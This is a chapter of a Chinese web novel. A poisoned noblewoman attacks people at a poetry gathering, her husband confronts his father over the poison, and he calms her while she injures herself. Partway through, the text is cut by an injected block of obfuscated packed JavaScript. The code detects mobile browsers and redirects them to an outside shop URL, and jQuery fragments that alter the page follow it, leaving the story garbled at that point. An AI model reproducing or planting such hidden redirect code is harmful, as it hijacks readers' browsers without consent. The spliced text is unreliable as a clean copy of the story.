林绥宁挥出剑,伴着流风回雪的身姿轻舞着,时若风吹白雪,时若飞鸟掠月。
剑风将帘子掀起,回身的一瞬她望见那人也正凝视着她,铮铮剑鸣在耳畔呼啸,却不如他微颤的眸光。
林绥宁转身指去,蓦地看见一个熟悉的面容,杏眸微弯,柳絮绘眉。林绥宁曾说过,会让此人一点点地偿还,而她则轻佻着言说“我等着”,那如今便是一个极好的时机。
剑在手中,何不破空?
她一咬牙,卯足气力汇于剑中,直直地刺去。
“世子妃!”
一阵惊呼响起,冲入她的耳中,她却置若罔闻,恨意将她悉数侵蚀。
凭空飞出的一把剑将她的攻击格挡开,理智被略微唤回,她这才发觉剑尖已转向,朝着谢宜暄的喉口。
她一颤,怯声道:“谢宜暄。”
谢宜暄声音低沉:“夫人,该回府了。”
“我……”
林绥宁瞥了眼惊魂未定的方轻玉,回想起自己方才的举动,一阵心惊。她分明记着她看见了崔昭意,此剑也是朝着她去的。
她清楚地看见了崔昭意的身影,为何会变为方轻玉?
“世子妃,你这是要谋杀方娘子吗?”
一旁的徐琅生怕事不够大出声,引得一阵喧哗。
谢宜暄瞪了他一眼,转头的一瞬却被一道剑刃划破面颊。他不可置信地看去,便见林绥宁双目猩红,面色冷峻中铺满恨意。
“林绥宁。”
她却仿若未闻,挥舞着剑不停朝他刺来,他只得闪身躲避。
“怎的回事?怎打起来?”
呼声四起,惊慌在屋中弥散开来。
谢宜暄的衣裳已然有几处被划破,他忽地发觉她已然失去了神志,只得往她的脖颈处落下一击,任由那人瘫软于怀中。
陆南廷拧眉而至:“谢世子,你们搅乱了本王的诗会,按理当给一个交代。”
“王爷息怒,世子妃应当是中毒了。”方轻玉出声道,“我在父亲的古书上看到过,北央有一毒名“鸩魂”,为会令人丧失理智,发疯发狂,甚至产生幻觉,最终癫狂而死。”
“我夫人出门时还好着,怎的一到你府中便中了毒?”谢宜暄目光始终落在怀中人身上,未看他人一眼,“该给交代的,是王爷吧。”
陆南廷一怔,语气仍旧咄咄逼人:“谢世子这是要含血喷人?本王与你的妻无冤无仇何苦害她?”
谢宜暄轻嗤:“我岂敢揣度王爷的心思?”
“此毒极缓,至少五日方会毒发,且不会如此剧烈。”方轻玉如实言道,“依我所看,世子妃恐怕已然毒入肺腑。”
“世子当是查查自己府中之人。”陆南廷面上带笑,凝视着谢宜暄。
谢宜暄神情一顿,一张面容从脑中掠过,只是瞥向方轻玉:“如何解?”
“我……不知。”方轻玉摇了摇头,嗫嚅着开口,“我回府去问父亲。”
“多谢。”
谢宜暄将林绥宁拦腰抱起便往外走去,将身后的窃窃私语抛下。他并不想理会他人是何心绪或言论,他只知晓,重视之人如今身处危机之中,他不忍见她的苦痛。
大风吹起他的衣摆,他将她拥得更紧,低眸看见她紧蹙的眉。
这场风雨来得太快了些,但他只欲为她抚平眉间的褶皱。
***
将她安置好后,谢宜暄直冲进谢延华的卧房。
房门“砰”地被撞开,引得屋中人手中的茶盏洒出些水。谢延华擦拭着衣袍上的水渍,忍不住埋怨:“是何等要事,竟能令你如此罔顾礼仪?”
谢宜暄却无半分愧色,只沉声道:“世子妃府中的茶是您送的?”
谢延华一顿,徐徐看去,嗓间泄出一丝冷笑:“你在怀疑为父?”
“北央之毒,你怀疑我?”他的声音加重了几分,满是愕然。
“父亲周游各地……”谢宜暄话未说完便被厉声截断,他对上谢延华恼怒的眸色。
“茶是我送的,但从未下过毒。”谢延华睨着他,往日平和的面目陡然撕裂,怒意攀上而至,“若我要她死,她便进不了谢家的门!”
他的怒气中又有细微的悲哀:“谢宜暄,你当真是鬼迷心窍,为父含辛茹苦养育你二十多载,你竟为了一个女子便质问我?你眼中还有没有孝道,还有没有仁义?”
“仁义?”谢宜暄嗤笑着,遮盖过往的纱幔终被揭去,“当年你的外室毒害我娘之时,你是如何做的,还记得吗?”
谢延华愣住,怒火瞬时浇灭,取而代之的是情虚。他低声道:“往日之事,何必耿耿于怀,我当时也是被那可恨的外室欺骗了。”
“你质问我娘,责骂我娘,甚至对她动手。”谢宜暄面色染上几分悲戚,“之后,于寒冬将尽之际,她便与世长辞。”
他至今忘不了那日,走进那间房时看见的是什么。是一尺白绫,是微晃的房梁,是悬挂着的人。
“是你逼死了她。”
谢延华辩驳道:“不是我,是她自己积郁于心。”
可这句辩驳过于单薄了些,引不起对他的怜悯,只能引起愤恨。
谢宜暄紧握着双拳,指尖在发颤,他在极力克制,但积存着的情绪又怎能被压制住?那拳头仿佛下一瞬便要落下。
“世子殿下,娘子她……”
红因匆匆而至,眼眸含着水光,不经意间,便将一张纱幔又轻轻盖下。
谢宜暄闻声便赶忙离去,他如今一心只有她的安危。
房舍内,数道伤口的鲜血正顺着林绥宁的手臂淌下,洇湿了素白的衣裳。她的右手在发颤,但那片破碎的残瓷却被紧紧握住。
“离我远点。”她冷声道。
正欲迈进的二人皆顿住了脚步。
“出去。”林绥宁攥着瓷片,掌心被刺破,但她却仿若感受不到痛,越攥越紧,似要将它嵌入肉中。
谢宜暄神色微凝,逡巡片刻,仍是迈出了一步。随之而来的是一个茶盏摔落于他的脚边,残片四散,无处落脚。
“听不懂吗?”林绥宁盯着他,眉眼间染上厉色。
他踏着满屋尖锐的碎瓷走去,一步又一步地走,一点又一点地靠近,在触碰到她时又止住了动作,只指着她的手温声而言,像是在哄人:“把这个给我。”
林绥宁看着他,她不明白他为何要走近,他面颊上的那道伤痕赫然落入眼底,她忽地想轻抚上去。
可体内的巨浪仍在
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370912|199896||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
翻涌,她几近要控制不住。
林绥宁将他推开,怒道:“滚!”
身旁人未再有动作,正当林绥宁以为他准备离去时,手指却被一点点地掰开,紧攥着的残瓷被夺去,空荡荡地,只看得见血。
她心中尽是疑惑,遇到癫狂之人不躲反而靠近,当说他是良善,还是愚笨?她望着谢宜暄将房舍门关上,阻隔府内其他人的视线,又望着他再次回到身侧。
“……我会杀了你的。”
谢宜暄道:“可以。”
他甚至是笑着的,在他眼中生死仿若只是一缕烟尘,聚便聚了,散便散了。
“如此,来生你便欠了一笔命债。”谢宜暄低语着,“我便能名正言顺地向你讨要了。”
林绥宁微愣:“讨要……什么?”
谢宜暄低垂下眸:“要……”
耳畔的声音逐渐模糊,她看见谢宜暄嘴唇轻动,道出一个字,但她缺未听清,便彻彻底底地被巨浪吞噬。
她将书案上的物什悉数倾翻,于一片狼藉中不由得跪倒在地。手臂上的伤口被她掐住,越加多的鲜血流淌而下,坠在地上凝聚成团。
眼下,唯有痛楚与鲜血能略微唤醒她的神志,不能去伤害他人,那便只能对自己下手。
可她的手也被捉住,她无处遁逃。
林绥宁乞求地看去:“松开……松开。”
谢宜暄却不放,那一滴滴血仿佛是从的,那种痛切实地落在他的身上。
林绥宁面目狰狞,挣扎却不得脱身,便朝他的肩膀处狠狠地咬去。
他的身形颤抖着,却并未推开她,只是任由那齿痕越陷越深,冲破血肉而去。
不知过了多久,他的肩膀似是有些麻痹,林绥宁方松开口。
她的眼神清明了些,逐渐平静下来,不知所措地看着眼前的一切。她看见谢宜暄的前额冒着冷汗,唇色发白,臆想中本该充斥着愠色的眼眸,却是如湖水般清澈。
“对不住,对不住……”林绥宁一声又一声地说着,泪水模糊了眼眸。
手托住了她逐渐埋下去的脸庞,拭去滑落的泪。
“不必道歉,我无事。”
谢宜暄侧眸看着染红的衣衫。
他的身上有了她的痕迹,绝无仅有的。
他荣幸之至。
林绥宁自是不信他的宽慰,泪光依旧闪烁着,心中愧疚难耐:“你将我关起来吧,挂上铁链,便不会伤人了。”
“你又不是罪人,为何要关?”
“可我会害人。”林绥宁道,“我不知自己何时又会失控,而下一回又会做出何事,掌控不了的。”
林绥宁如今的思绪虽是清醒的,但并不知这番清醒能维持多久。
谢宜暄面色微冷:“照你如此说,一刀抹了你不更省事?”
这倒令林绥宁愣住了,竟觉他说得在理。
“那你……”
话未出口便被堵住,谢宜暄生怕她会说出“那你便杀了我”此话,便赶忙道:“取人性命有损阴德,百年之后我可不愿被阎王爷扔油锅里。”
他将林绥宁扶起,道:“既是毒,那便定有解法,我还未见过,无解之毒。”
“所以,‘死’字禁言。”